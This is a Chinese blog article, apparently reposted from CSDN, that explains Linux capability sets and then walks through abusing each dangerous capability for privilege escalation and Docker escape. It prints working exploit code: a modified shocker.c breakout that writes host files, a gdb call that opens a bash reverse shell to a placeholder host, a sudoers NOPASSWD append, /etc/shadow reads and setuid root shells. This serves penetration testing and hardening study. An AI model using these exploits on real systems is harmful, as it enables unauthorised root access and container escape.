Linux Capabilities利用总结

2024-01-09 14:30:57

前言

Linux对于权限的管理,系统权限只有root才有,对于普通用户只有一些有限的权限;而对于普通用户如果想进行一些权限以外的操作,之前主要有两种方法:一是通过sudo提权;二是通过SUID[1],让普通用户对设有SUID的文件具有执行权限,当用户执行此文件时,会用文件的拥有者的权限执行,比如常用的命令passwd,修改用户的密码是需要root权限的,但是普通用户却可以使用,这是因为/usr/bin/passwd被设置了SUID,该文件的拥有者是root,所以普通用户可以使用并执行。然而SUID却带来了安全隐患,因为本身需要一部分特权,但是却拥有了root的全部权限,所以为了对root权限进行更加细粒度的控制,Linux 引入了?capabilities?机制对 root 权限进行细粒度的控制,实现按需授权,从而减小系统的安全攻击面。本文主要总结 Capabilites 机制的基本概念和利用。

Linux Capabilities 是什么?

从内核 2.2 开始,Linux 将传统上与超级用户 root 关联的特权划分为不同的单元,称为Capabilites。Capabilites 作为线程(Linux 并不真正区分进程和线程)的属性存在,每个单元可以独立启用和禁用。如此一来,权限检查的过程就变成了:在执行特权操作时,如果进程的有效身份不是 root,就去检查是否具有该特权操作所对应的?capabilites,并以此决定是否可以进行该特权操作。比如要向进程发送信号(kill()),就得具有 capability?CAP_KILL;如果设置系统时间,就得具有 capability?CAP_SYS_TIME

Linux中的capability是可以分配给进程、二进制文件、服务和用户等的特殊属性,它们可以允许它们拥有通常保留给root级行动的特定权限,Capabilities 可以在进程执行时赋予,也可以直接从父进程继承。所以理论上如果给 nginx 可执行文件赋予了?CAP_NET_BIND_SERVICE,那么它就能以普通用户运行并监听在 80 端口上。

不同的Capabilities

线程 Capabilities

每一个线程,具有5个capabilities集合,每一个集合使用 64 位掩码来表示,显示为 16 进制格式。五种 capabilities 集合类型,分别是:

  • CapInh: Inheritable capabilities

  • CapPrm: Permitted capabilities

  • CapEff: Effective capabilities

  • CapBnd: Bounding set

  • CapAmb: Ambient capabilities set

每个集合中都包含零个或多个 capabilities。这5个集合的具体含义如下:

  • CapEff(Effective): Effective代表进程目前正在使用的所有Capabilities(这是内核用于权限检查的实际capabilities集)。对于文件capabilities来说,Effective实际上是一个单一的位,表示在运行二进制文件时,Permitted的Capabilities是否会被移到Effective集。这使得那些没有capabilities的二进制文件有可能在不发出特殊系统调用的情况下使用文件Capabilities。

  • CapPrm(Permitted): 这是一个capabilities的超集,线程可以将其添加到线程允许的或线程可继承的集合中。线程可以使用capset()系统调用来管理Capabilities。它可以从任何集合中删除任何Capabilities,但只能向其线程EffectiveInheritable添加线程允许集合中的Capabilities。因此,它不能将任何Capabilities添加到其线程允许的集合中,除非它的线程有效集合中有CAP_SETPCAP

  • CapInh(Inheritable): 使用Inheritable集可以指定允许从父进程继承的所有Capabilities。这可以防止一个进程接收它不需要的任何Capabilities。这里需要说明一下,包含在该集合中的 capabilities 并不会自动继承给新的可执行文件,即不会添加到新线程的?Effective?集合中,它只会影响新线程的?Permitted?集合。

  • CapBnd(Bounding):?Bounding?集合是?Inheritable?集合的超集,可以限制一个进程可能收到的Capabilities。在InheritablePermitted集中,只有存在于Bounding集中的Capabilities才被允许。

  • ?CapAmb(Ambient): Linux 4.3 内核新增了一个 capabilities 集合叫?Ambient?,用来弥补?Inheritable?的不足。Ambient集适用于所有没有文件Capabilities的非SUID二进制文件。它在execve()时保留了Capabilities。然而,并不是所有在Ambient集的Capabilities都会被保留,因为它们会被丢弃,以防它们不在InheritablePermitted集中出现。这个集合在 execve 调用时被保留。Ambient 的好处显而易见,举个例子,如果你将 CAP_NET_ADMIN?添加到当前进程的 Ambient 集合中,它便可以通过?fork()?和?execve()?调用?shell?脚本来执行网络管理任务,因为?CAP_NET_ADMIN?会自动继承下去。

要查看某个特定进程的capabilities,可以使用/proc目录下的状态文件。

对于所有正在运行的进程,capabilities信息是按线程维护的,对于文件系统中的二进制文件,它被存储在扩展属性中。

可以在/usr/include/linux/capability.h中找到定义的Capabilities。可以在cat /proc/self/statuscapsh --print中找到当前进程的capabilities,在/proc/<pid>/status中找到其他用户的capabilities。

cat?/proc/<pid>/status?|?grep?Cap

#?查看当前进程的capabilities
cat?/proc/$$/status?|?grep?Cap

这是一个典型的root进程所拥有的capabilities。

图片

?

  • capsh

但是这种方式获得的信息无法阅读,我们需要使用?capsh?命令把它们转义为可读的格式:

capsh?--decode=0000003fffffffff

图片

?

capsh也可以直接查看当前capabilitiescapsh --print

图片

?

  • getpcaps

getpcaps工具使用capget()系统调用来查询某个特定线程的可用Capabilities。这个系统调用只需要提供PID就可以获得相关信息。查看进程的capabilities还可以通过getpcaps,然后是其进程ID(PID),也可以提供一个进程ID的列表。

getpcaps?<pid>

测试一下tcpdump的Capabilities,在赋予二进制文件足够的Capabilities(cap_net_admincap_net_raw)来抓包后(ping在395120进程中运行)。可以看到我们给tcpdump设置的capabilities是一致的,非root用户也可以嗅探网络。

图片

?

文件 Capabilities

文件的 capabilities 被保存在文件的扩展属性中。如果想修改这些属性,需要具有?CAP_SETFCAP?的 capability。文件与线程的 capabilities 共同决定了通过?execve()?运行该文件后的线程的 capabilities。

文件的 capabilities 功能,需要文件系统的支持。如果文件系统使用了?nouuid?选项进行挂载,那么文件的 capabilities 将会被忽略。

在上面的示例中我们通过?setcap?命令修改了程序文件?/usr/sbin/tcpdump?的 capabilities。在可执行文件的属性中有三个集合来保存三类 capabilities,它们分别是:

  • ?Permitted:在进程执行时,Permitted 集合中的 capabilites 自动被加入到进程的 Permitted 集合中。

  • Inheritable:Inheritable 集合中的 capabilites 会与进程的 Inheritable 集合执行与操作,以确定进程在执行 execve 函数后哪些 capabilites 被继承。

  • ?Effective:Effective 只是一个 bit。如果设置为开启,那么在执行 execve 函数后,Permitted 集合中新增的 capabilities 会自动出现在进程的 Effective 集合中。

二进制文件可以有在执行时可以使用的Capabilities。例如,有cap_net_rawcapabilites的ping二进制文件,以及设置过的tcpdump。

root@k8s-master:~#?getcap?/usr/bin/ping
/usr/bin/ping?=?cap_net_raw+ep
root@k8s-master:~#?getcap?/usr/sbin/tcpdump
/usr/sbin/tcpdump?=?cap_net_admin,cap_net_raw+eip

命令中的 ep 分别表示 Effective 和 Permitted 集合,+ 号表示把指定的 capabilities 添加到这些集合中,- 号表示从集合中移除(对于 Effective 来说是设置或者清除位)。

下面的命令可以用来查找已经有capabilities的二进制文件。

getcap?-r?/?2>/dev/null
  • 通过capsh删除Capabilities

如果我们停止tcpdumpCAP_NET_RAW那么无法再使用。

capsh?--drop=cap_net_raw?--print?--?-c?"tcpdump"

图片

?

  • 移除Capabilities

可以用以下方法移除一个二进制文件的Capabilities。

setcap?-r?<path>

用户 Capabilities

用户也可以分配Capabilities,这意味着,由用户执行的每一个进程都能使用用户的capabilities。

分配给用户的Capabilities存储在/etc/security/capability.conf配置文件中。

图片

?

环境 Capabilities

可以通过capsh --print查看当前环境的Capabilities 编译ambient.c[2]程序,就有可能在一个提供 Capabilities 的环境中产生一个bash shell?在运行编译后的文件后获得的bash中可以发现有了新的Capabilities。

图片

?

只能添加同时存在于CapPrm(Permitted)和CapInh(Inheritable)集合中的Capabilities。

具有Capabilities意识的二进制文件不会使用环境赋予的新Capabilities,但是capability低的二进制文件会使用它们,因为它们不会拒绝这些Capabilities。这使得在向二进制文件授予Capabilities的特殊环境中,capability低的二进制文件容易受到攻击。

服务 Capabilities

默认情况下,以root身份运行的服务将具有所有的capabilities,这是相当危险的。

因此,服务的配置文件允许指定希望它拥有的Capabilities,以及应该执行服务的用户,以避免以不必要的权限运行服务。?systemd通过AmbientCapabilities变量为服务提供了配置Capabilities的指令。

[Service]
User=test
AmbientCapabilities=CAP_NET_BIND_SERVICE

图片

?

容器 Capabilities

Docker容器不同于虚拟机,它共享宿主机操作系统内核。宿主机和容器之间通过内核命名空间(namespaces)、内核Capabilities、CGroups(control groups)等技术进行隔离。

在大部分情况下,容器里的进程不需要以root用户运行,Docker给容器内root只授予了几个默认的Capabilities[3],其他的禁用。这意味着容器里的root用户权限比宿主机上真正的root用户权限要小。

实际情况用户会存在自己给容器添加特权方便操作,比如额外添加一些Capability,例如SYS_ADMIN,以及运行具有--privileged或危险功能的 Docker 容器允许特权操作。

privileged标志给了容器所有的Capabilities,而且它还解除了设备cgroup控制器强制执行的所有限制,容器可以访问主机所有device以及具有mount操作的权限。但是--privileged参数不等于只是拥有所有的Capabilities,还包括禁用Seccomp和AppArmor等安全机制、访问device。换句话说,容器可以做主机可以做的几乎所有事情。

当容器拥有特权后是可以逃逸到宿主机的,所以为了方便默认情况下Docker为容器启用了一些Capabilities,并且Kubernetes也可以给容器配置Capabilities[4]。

容器内如果有命令capsh可以通过capsh --print查看当前的Capabilities 识别错误配置的Capabilities的最简单方法是使用枚举脚本,如LinPEAS[5]??。

图片

?

特殊情况 空Capabilities

可以给文件设置空的capability,这样或许会创建一个set-user-ID-root的程序,这将执行该程序的进程effective保存的set-user-ID改为0。如果有一个文件符合下面的条件:

  1. 不属于root。

  2. SUID/SGID位没有设置。

  3. capabilities设置为空。

该文件将以root运行。

#?比如如下情况
$?getcap?<filename>
<filename>?=ep

对tcpdump测试。

图片

?

经过设置后普通用户也可以执行tcpdump。

图片

?

利用 Capabilities

以下是一些常见的 Capabilites 列表:

?

?

利用情况主要从两个方面考虑:

  • 当二进制文件具有Capabilities。

  • 环境具有Capabilities主要是当前在容器内。

Capabilities信息收集

  • 二进制文件

#?查找/下的所有具有Capabilities的二进制文件
getcap?-r?/?2>/dev/null

#?查看单个二进制文件
getcap?<path>
  • 环境容器内

capsh?--print

以下主要列举利用意义大的一些Capabilities

CAP_SYS_ADMIN

CAP_SYS_ADMIN:?允许执行系统管理任务,如加载或卸载文件系统、设置磁盘配额等 CAP_SYS_ADMIN在很大程度上是一种全面的Capabilities,它很容易导致额外的Capabilities或完全的root(通常是对所有Capabilities的访问)。CAP_SYS_ADMIN需要执行一系列的管理操作,如果在容器内执行特权操作,就很难从容器中删除。对于模仿整个系统的容器来说,保留这种Capabilities往往是必要的,而对于单独的应用程序容器来说,它的限制性更强。

当文件具有能力:?通过收集发现python具有该能力。

图片

?

通过python可以修改root的密码。

图片

?

通过脚本将修改过的passwd文件mount/etc/passwd

from?ctypes?import?*
libc?=?CDLL("libc.so.6")
libc.mount.argtypes?=?(c_char_p,?c_char_p,?c_char_p,?c_ulong,?c_char_p)
MS_BIND?=?4096
source?=?b"<fake?passwd?路径>"
target?=?b"/etc/passwd"
filesystemtype?=?b"none"
options?=?b"rw"
mountflags?=?MS_BIND
libc.mount(source,?target,?filesystemtype,?mountflags,?options)

成功root密码password登陆。

图片

?

当环境具有能力:?主要为当前可能是一个容器,通过信息收集发现当前环境具有SYS_ADMIN

  • 挂载主机

可以在容器内挂载宿主机磁盘。

fdisk?-l
Disk?/dev/sda:?4?GiB,?4294967296?bytes,?8388608?sectors
Units:?sectors?of?1?*?512?=?512?bytes
Sector?size?(logical/physical):?512?bytes?/?512?bytes
I/O?size?(minimum/optimal):?512?bytes?/?512?bytes

mount?/dev/sda?/mnt/
cd?/mnt
chroot?./?bash
  • 通过ssh

通过挂载,之后创建一个用户,在使用该用户ssh连接。

#Like?in?the?example?before,?the?first?step?is?to?moun?the?dosker?host?disk
fdisk?-l
mount?/dev/sda?/mnt/

#Then,?search?for?open?ports?inside?the?docker?host
nc?-v?-n?-w2?-z?172.17.0.1?1-65535
(UNKNOWN)?[172.17.0.1]?2222?(?)?open

#Finally,?create?a?new?user?inside?the?docker?host?and?use?it?to?access?via?SSH
chroot?/mnt/?adduser?john
ssh?john@172.17.0.1?-p?2222

除此之外还可以通过notify_on_release进行逃逸参考理解Docker容器转义[6]??。

CAP_SYS_MODULE

CAP_SYS_MODULE:?允许插入和删除内核模块 CAP_SYS_MODULE允许进程加载和卸载任意的内核模块(init_module(2), finit_module(2) 和 delete_module(2) 系统调用)。这可能导致微不足道的权限升级和ring-0妥协。内核可以被随意修改,颠覆所有系统安全、Linux安全模块和容器系统。

当文件具有能力(内核编译参考环境部分):

  • ? python:可以利用python加载内核模块。

  • ? kmod:可以利用该命令插入内核模块。

当环境具有能力:

  • ??容器:创建内核模块,通过nc接收反弹的shell可以参考Docker容器突破:滥用SYS MODULE能力[7]和破解 Play-with-Docker 并在主机上远程运行代码[8]??。

当python具有该能力 默认情况下,modprobe命令检查目录中的依赖列表和映射文件/lib/modules/$(uname -r)?为了利用创建一个假的lib/modules文件夹。

mkdir?lib/modules?-p
cp?-a?/lib/modules/5.0.0-20-generic/?lib/modules/$(uname?-r)

CAP_SYS_PTRACE

CAP_SYS_PTRACE:允许跟踪任何进程?CAP_SYS_PTRACE?允许使用 ptrace(2) 和最近引入的跨内存附加系统调用,如 process_vm_readv(2) 和 process_vm_writev(2) 。如果这个Capabilities被授予,并且 ptrace(2) 系统调用本身没有被 seccomp 过滤器阻止,这将允许攻击者绕过其他 seccomp 限制,请参考 PoC?在允许 ptrace 时绕过 seccomp[9]。

当文件具有能力:比如python时还可以参考python Capabilities cap_sys_ptrace+ep提权[10]? 。

当环境具有能力:比如在docker内时,可以通过Shellcode注入[11];或者当前环境具有gdb,可以从主机debug进程中调用system函数。

gdb?-p?1234
(gdb)?call?(void)system("ls")
(gdb)?call?(void)system("sleep?5")
(gdb)?call?(void)system("bash?-c?'bash?-i?>&?/dev/tcp/<ip>/<port>?0>&1'")

CAP_DAC_READ_SEARCH

CAP_DAC_READ_SEARCH:忽略文件读及目录搜索的 DAC 访问限制。

CAP_DAC_READ_SEARCH 允许一个进程绕过文件读取和目录读取及执行的权限。虽然这被设计为用于搜索或读取文件,但它也授予进程调用open_by_handle_at(2)的权限。任何具有CAP_DAC_READ_SEARCHCapabilities的进程都可以使用open_by_handle_at(2)来获得对任何文件的访问,甚至是挂载命名空间之外的文件。传递给?open_by_handle_at(2) 的句柄被认为是使用?name_to_handle_at(2)?获取的不透明标识符。然而,这个句柄包含了敏感和可篡改的信息,如inode号码。这是Sebastian Krahmer用shocker[12]漏洞首次在Docker容器中显示的问题。

当文件具有能力:

  • tar

在根目录递归检测cap时发现tar具有cap_dac_read_search功能。

图片

?

当任何程序拥有cap_dac_read_searchCapabilities的有效集合时,这意味着它可以读取任何文件或对目录执行任何可执行的权限。该程序不能在目录中创建任何文件或修改现有文件,因为它需要写入权限,而这种Capabilities没有提供这种权限。

图片

?

因为在这种情况下,tar有这个权限。你不能目录升级权限,但如果你幸运的话,在取回影子文件后破解哈希密码。你可以通过包括/etc/shadow文件来执行一个简单的tar归档,然后再提取它。

当前可以利用tar具有的能力,将相关敏感文件打个包,然后再拿出来。

图片

?

  • python

图片

?

利用python列出/root下的所有文件:

import?os
for?r,?d,?f?in?os.walk('/root'):
????for?filename?in?f:
????????print(filename)

也可以读取指定文件如/etc/shadow

python?-c?'print(open("/etc/shadow",?"r").read())'

图片

?

当环境具有能力:?参考该文章利用shocker.c,利用需要找到一个指向安装在主机上的东西的指针,文章使用/.dockerinit也可以修改为/etc/hostname该文件必须是挂载的主机中的文件,比如k8s中kube-proxy就将/etc/hostname该文件挂载。

Docker已经通过放弃CAP_DAC_READ_SEARCH(以及使用seccomp阻止对open_by_handle_at的访问)来缓解这个问题。

CAP_DAC_OVERRIDE

CAP_DAC_OVERRIDE:?忽略文件的 DAC 访问限制,可以写入任何文件 可以用来写文件,比如vim有该能力,可以修改sudo配置文件提权。

当文件具有能力:

  • ??vim

当vim具有该能力,可以修改如passwd 、sudoers或shadow等。

图片

?

修改相关文件进行利用。

图片

?

  • ??python

当python具有该能力,同样可以修改一些敏感文件提权。

图片

?

file=open("/etc/sudoers","a")
file.write("username?ALL=(ALL)?NOPASSWD:ALL")
file.close()

当环境具有能力:?想要逃逸还需要具有能力CAP_DAC_READ_SEARCH可以读取主机文件,对shocker.c进行修改,改为对主机写入任意文件。

#include?<stdio.h>
#include?<sys/types.h>
#include?<sys/stat.h>
#include?<fcntl.h>
#include?<errno.h>
#include?<stdlib.h>
#include?<string.h>
#include?<unistd.h>
#include?<dirent.h>
#include?<stdint.h>

//?gcc?shocker_write.c?-o?shocker_write
//?./shocker_write?/etc/passwd?passwd?

struct?my_file_handle?{
??unsigned?int?handle_bytes;
??int?handle_type;
??unsigned?char?f_handle[8];
};
void?die(const?char?*?msg)?{
??perror(msg);
??exit(errno);
}
void?dump_handle(const?struct?my_file_handle?*?h)?{
??fprintf(stderr,?"[*]?#=%d,?%d,?char?nh[]?=?{",?h?->?handle_bytes,
????h?->?handle_type);
??for?(int?i?=?0;?i?<?h?->?handle_bytes;?++i)?{
????fprintf(stderr,?"0x%02x",?h?->?f_handle[i]);
????if?((i?+?1)?%?20?==?0)
??????fprintf(stderr,?"\n");
????if?(i?<?h?->?handle_bytes?-?1)
??????fprintf(stderr,?",?");
??}
??fprintf(stderr,?"};\n");
}?
int?find_handle(int?bfd,?const?char?*path,?const?struct?my_file_handle?*ih,?struct?my_file_handle?*oh)
{
??int?fd;
??uint32_t?ino?=?0;
??struct?my_file_handle?outh?=?{
????.handle_bytes?=?8,
????.handle_type?=?1
??};
??DIR?*?dir?=?NULL;
??struct?dirent?*?de?=?NULL;
??path?=?strchr(path,?'/');
??//?recursion?stops?if?path?has?been?resolved
??if?(!path)?{
????memcpy(oh?->?f_handle,?ih?->?f_handle,?sizeof(oh?->?f_handle));
????oh?->?handle_type?=?1;
????oh?->?handle_bytes?=?8;
????return?1;
??}
??++path;
??fprintf(stderr,?"[*]?Resolving?'%s'\n",?path);
??if?((fd?=?open_by_handle_at(bfd,?(struct?file_handle?*?)?ih,?O_RDONLY))?<?0)
????die("[-]?open_by_handle_at");
??if?((dir?=?fdopendir(fd))?==?NULL)
????die("[-]?fdopendir");
??for?(;;)?{
????de?=?readdir(dir);
????if?(!de)
??????break;
????fprintf(stderr,?"[*]?Found?%s\n",?de?->?d_name);
????if?(strncmp(de?->?d_name,?path,?strlen(de?->?d_name))?==?0)?{
??????fprintf(stderr,?"[+]?Match:?%s?ino=%d\n",?de?->?d_name,?(int)?de?->?d_ino);
??????ino?=?de?->?d_ino;
??????break;
????}
??}
??fprintf(stderr,?"[*]?Brute?forcing?remaining?32bit.?This?can?take?a?while...\n");
??if?(de)?{
????for?(uint32_t?i?=?0;?i?<?0xffffffff;?++i)?{
??????outh.handle_bytes?=?8;
??????outh.handle_type?=?1;
??????memcpy(outh.f_handle,?&?ino,?sizeof(ino));
??????memcpy(outh.f_handle?+?4,?&?i,?sizeof(i));
??????if?((i?%?(1?<<?20))?==?0)
????????fprintf(stderr,?"[*]?(%s)?Trying:?0x%08x\n",?de?->?d_name,?i);
??????if?(open_by_handle_at(bfd,?(struct?file_handle?*?)?&?outh,?0)?>?0)?{
????????closedir(dir);
????????close(fd);
????????dump_handle(?&?outh);
????????return?find_handle(bfd,?path,?&?outh,?oh);
??????}
????}
??}
??closedir(dir);
??close(fd);
??return?0;
}
int?main(int?argc,?char?*?argv[])?{
??char?buf[0x1000];
??int?fd1,?fd2;
??struct?my_file_handle?h;
??struct?my_file_handle?root_h?=?{
????.handle_bytes?=?8,
????.handle_type?=?1,
????.f_handle?=?{
??????0x02,
??????0,
??????0,
??????0,
??????0,
??????0,
??????0,
??????0
????}
??};
??fprintf(stderr,?"[***]?docker?VMM-container?breakout?Po(C)?2014?[***]\n"
????"[***]?The?tea?from?the?90's?kicks?your?sekurity?again.?[***]\n"
????"[***]?If?you?have?pending?sec?consulting,?I'll?happily?[***]\n"
????"[***]?forward?to?my?friends?who?drink?secury-tea?too!?[***]\n\n<enter>\n");
??read(0,?buf,?1);
??//?get?a?FS?reference?from?something?mounted?in?from?outside
??if?((fd1?=?open("/etc/hostname",?O_RDONLY))?<?0)
????die("[-]?open");
??if?(find_handle(fd1,?argv[1],?&?root_h,?&?h)?<=?0)
????die("[-]?Cannot?find?valid?handle!");
??fprintf(stderr,?"[!]?Got?a?final?handle!\n");
??dump_handle(?&?h);
??if?((fd2?=?open_by_handle_at(fd1,?(struct?file_handle?*?)?&?h,?O_RDWR))?<?0)
????die("[-]?open_by_handle");
??char?*?line?=?NULL;
??size_t?len?=?0;
??FILE?*?fptr;
??ssize_t?read;
??fptr?=?fopen(argv[2],?"r");
??while?((read?=?getline(?&?line,?&?len,?fptr))?!=?-1)?{
????write(fd2,?line,?read);
??}
??printf("Success!!\n");
??close(fd2);
??close(fd1);
??return?0;
}

CAP_CHOWN

CAP_CHOWN:?可以改变任何文件的所有权。

当文件具有能力:?假设python二进制文件具有这种能力,可以改变/etc/shadow的所有者,改变root的密码以此提权。python具有CAP_CHOWN,当前/etc/shadow还是root的。

图片

?

通过利用python所有者已经变更。

图片

?

或者ruby可以通过如下命令。

ruby?-e?'require?"fileutils";?FileUtils.chown(1000,?1000,?"/etc/shadow")'

CAP_FOWNER

CAP_FOWNER:更改任何文件的权限 类似CAP_CHOWN,python具有这种能力,可以改变/etc/shadow的所有者,改变root的密码以此提权。

python?-c?'import?os;os.chmod("/etc/shadow",0666)'

CAP_SETUID

CAP_SETUID:允许设置所创建进程的有效用户ID。

当文件具有能力:?具有该能力,可以设置uid为0后,调用bash达到提权。

  • python

  • perl

  • tar

比如利用python:

#?方法一
import?os
os.setuid(0)
os.system("/bin/bash")
python3.8?-c?'import?os;os.setuid(0);os.system("/bin/bash")'

#?方法二
import?os
import?prctl
#?在集合effective中添加capability
prctl.cap_effective.setuid?=?True
os.setuid(0)
os.system("/bin/bash")

图片

?

图片

?

CAP_SETGID

CAP_SETGID:允许设置所创建进程的有效组ID。

当文件具有能力:?可以通过覆盖文件来提权,找到组可以操作的文件,因为可以设置为任何组。

#?查找组可写的每个文件
find?/?-perm?/g=w?-exec?ls?-lLd?{}?\;?2>/dev/null
#?在/etc中找到每一个maxpath为1的组可写文件
find?/etc?-maxdepth?1?-perm?/g=w?-exec?ls?-lLd?{}?\;?2>/dev/null
#?在/etc中查找每一个maxpath为1的组可读文件
find?/etc?-maxdepth?1?-perm?/g=r?-exec?ls?-lLd?{}?\;?2>/dev/null

找到一个文件,就可以滥用(通过读或写)升级权限,得到一个shell。

import?os
os.setgid(42)
os.system("/bin/bash")

shadow的组id为42,可以通过python创建一个shell。

图片

?

创建的进程被设置组id为shadow,可以cat /etc/shadow

图片

?

主要可以进行如下操作:

  • ??将用户和密码添加到/etc/passwd。

  • ??在/etc/shadow中更改密码。

  • ??在/etc/sudoers中将用户添加到sudoers。

  • ??通过docker套接字通信利用docker,一般在/run/docker.sock/var/run/docker.sock

CAP_SETFCAP

CAP_SETFCAP:可以给文件和进程设置能力。?

当文件具有能力:?当python具有该能力可以通过脚本提权到rootpython3.8 setfcap.py /usr/bin/python3.8

import?ctypes,?sys

#Load?needed?library
#You?can?find?which?library?you?need?to?load?checking?the?libraries?of?local?setcap?binary
#?ldd?/sbin/setcap
libcap?=?ctypes.cdll.LoadLibrary("libcap.so.2")

libcap.cap_from_text.argtypes?=?[ctypes.c_char_p]
libcap.cap_from_text.restype?=?ctypes.c_void_p
libcap.cap_set_file.argtypes?=?[ctypes.c_char_p,ctypes.c_void_p]

#Give?setuid?cap?to?the?binary
cap?=?'cap_setuid+ep'
path?=?sys.argv[1]
print(path)
cap_t?=?libcap.cap_from_text(cap)
status?=?libcap.cap_set_file(path,cap_t)

if(status?==?0):
????print?(cap?+?"?was?successfully?added?to?"?+?path)

通过给python添加新能力,新能力将直接覆盖原本的能力,如果想保留可以通过在原有的基础上添加比如cap_setuid,cap_setfcap+ep

当环境具有能力:?该能力是默认添加给docker进程的能力,该能力允许给其他二进制的文件添加能力,所以可以给其他二进制文件添加可以用来逃逸的能力。

文章来源:https://blog.csdn.net/moresec/article/details/135476743
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。